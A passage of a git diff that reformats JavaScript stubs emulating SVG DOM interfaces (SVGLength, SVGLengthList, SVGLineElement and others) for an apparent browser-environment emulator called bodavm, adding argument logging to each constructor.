"SVG_LENGTHTYPE_PERCENTAGE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('SVGLength', "unitType", {configurable:true, enumerable:true, get:function unitType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "unitType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "valueInSpecifiedUnits", {configurable:true, enumerable:true, get:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_get", arguments)}, set:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "valueAsString", {configurable:true, enumerable:true, get:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_get", arguments)}, set:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "convertToSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function convertToSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "convertToSpecifiedUnits", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "newValueSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function newValueSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "newValueSpecifiedUnits", arguments)}},'prototype'); +// SVGLength对象 + +bodavm.memory.globalobj['SVGLength'] = function SVGLength() { + console.log_copy('SVGLength 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLength)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLength'], "SVGLength"); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('SVGLength', "unitType", { + configurable: true, + enumerable: true, + get: function unitType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "unitType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "valueInSpecifiedUnits", { + configurable: true, + enumerable: true, + get: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_get", arguments); + }, + set: function valueInSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "valueAsString", { + configurable: true, + enumerable: true, + get: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_get", arguments); + }, + set: function valueAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "convertToSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function convertToSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "convertToSpecifiedUnits", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLength', "newValueSpecifiedUnits", { + configurable: true, + enumerable: true, + writable: true, + value: function newValueSpecifiedUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "newValueSpecifiedUnits", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGLengthList.js b/env_xbb_lastest_jsdom/env/SVGLengthList.js index 63c2940e..bc317769 100644 --- a/env_xbb_lastest_jsdom/env/SVGLengthList.js +++ b/env_xbb_lastest_jsdom/env/SVGLengthList.js @@ -1,12 +1,89 @@ -// SVGLengthList对象 -bodavm.memory.globalobj['SVGLengthList'] = function SVGLengthList(){if (!(this instanceof SVGLengthList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLengthList'], "SVGLengthList"); -bodavm.toolsFunc.defineProperty('SVGLengthList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "replaceItem", arguments)}},'prototype'); +// SVGLengthList对象 + +bodavm.memory.globalobj['SVGLengthList'] = function SVGLengthList() { + console.log_copy('SVGLengthList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLengthList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLengthList'], "SVGLengthList"); +bodavm.toolsFunc.defineProperty('SVGLengthList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLengthList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "replaceItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGLineElement.js b/env_xbb_lastest_jsdom/env/SVGLineElement.js index 34eebbf6..14e8ac5c 100644 --- a/env_xbb_lastest_jsdom/env/SVGLineElement.js +++ b/env_xbb_lastest_jsdom/env/SVGLineElement.js @@ -1,9 +1,51 @@ -// SVGLineElement对象 -bodavm.memory.globalobj['SVGLineElement'] = function SVGLineElement(){if (!(this instanceof SVGLineElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLineElement'], "SVGLineElement"); -bodavm.memory.globalobj['SVGLineElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGLineElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGLineElement', "x1", {configurable:true, enumerable:true, get:function x1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLineElement', "y1", {configurable:true, enumerable:true, get:function y1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLineElement', "x2", {configurable:true, enumerable:true, get:function x2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLineElement', "y2", {configurable:true, enumerable:true, get:function y2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y2_get", arguments)}, set:undefined},'prototype'); +// SVGLineElement对象 + +bodavm.memory.globalobj['SVGLineElement'] = function SVGLineElement() { + console.log_copy('SVGLineElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLineElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLineElement'], "SVGLineElement"); +bodavm.memory.globalobj['SVGLineElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGLineElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGLineElement', "x1", { + configurable: true, + enumerable: true, + get: function x1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLineElement', "y1", { + configurable: true, + enumerable: true, + get: function y1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLineElement', "x2", { + configurable: true, + enumerable: true, + get: function x2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLineElement', "y2", { + configurable: true, + enumerable: true, + get: function y2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y2_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGLinearGradientElement.js b/env_xbb_lastest_jsdom/env/SVGLinearGradientElement.js index cc6c24c9..281ff937 100644 --- a/env_xbb_lastest_jsdom/env/SVGLinearGradientElement.js +++ b/env_xbb_lastest_jsdom/env/SVGLinearGradientElement.js @@ -1,13 +1,75 @@ -// SVGLinearGradientElement对象 -bodavm.memory.globalobj['SVGLinearGradientElement'] = function SVGLinearGradientElement(){if (!(this instanceof SVGLinearGradientElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLinearGradientElement'], "SVGLinearGradientElement"); -bodavm.memory.globalobj['SVGLinearGradientElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGradientElement'].prototype; -bodavm.memory.globalobj['SVGLinearGradientElement'].__proto__=bodavm.memory.globalobj['SVGGradientElement']; -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x1", {configurable:true, enumerable:true, get:function x1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y1", {configurable:true, enumerable:true, get:function y1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x2", {configurable:true, enumerable:true, get:function x2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y2", {configurable:true, enumerable:true, get:function y2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y2_get", arguments)}, set:undefined},'prototype'); +// SVGLinearGradientElement对象 + +bodavm.memory.globalobj['SVGLinearGradientElement'] = function SVGLinearGradientElement() { + console.log_copy('SVGLinearGradientElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGLinearGradientElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLinearGradientElement'], "SVGLinearGradientElement"); +bodavm.memory.globalobj['SVGLinearGradientElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGradientElement'].prototype; +bodavm.memory.globalobj['SVGLinearGradientElement'].__proto__ = bodavm.memory.globalobj['SVGGradientElement']; +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x1", { + configurable: true, + enumerable: true, + get: function x1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y1", { + configurable: true, + enumerable: true, + get: function y1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x2", { + configurable: true, + enumerable: true, + get: function x2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y2", { + configurable: true, + enumerable: true, + get: function y2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y2_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGMPathElement.js b/env_xbb_lastest_jsdom/env/SVGMPathElement.js index ea49cc44..aa55daec 100644 --- a/env_xbb_lastest_jsdom/env/SVGMPathElement.js +++ b/env_xbb_lastest_jsdom/env/SVGMPathElement.js @@ -1,6 +1,27 @@ -// SVGMPathElement对象 -bodavm.memory.globalobj['SVGMPathElement'] = function SVGMPathElement(){if (!(this instanceof SVGMPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMPathElement'], "SVGMPathElement"); -bodavm.memory.globalobj['SVGMPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMPathElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGMPathElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMPathElement'].prototype, "SVGMPathElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGMPathElement对象 + +bodavm.memory.globalobj['SVGMPathElement'] = function SVGMPathElement() { + console.log_copy('SVGMPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMPathElement'], "SVGMPathElement"); +bodavm.memory.globalobj['SVGMPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMPathElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGMPathElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMPathElement'].prototype, "SVGMPathElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGMarkerElement.js b/env_xbb_lastest_jsdom/env/SVGMarkerElement.js index e30912ff..1b5dbce3 100644 --- a/env_xbb_lastest_jsdom/env/SVGMarkerElement.js +++ b/env_xbb_lastest_jsdom/env/SVGMarkerElement.js @@ -1,28 +1,179 @@ -// SVGMarkerElement对象 -bodavm.memory.globalobj['SVGMarkerElement'] = function SVGMarkerElement(){if (!(this instanceof SVGMarkerElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMarkerElement'], "SVGMarkerElement"); -bodavm.memory.globalobj['SVGMarkerElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMarkerElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", {configurable:false, enumerable:true, 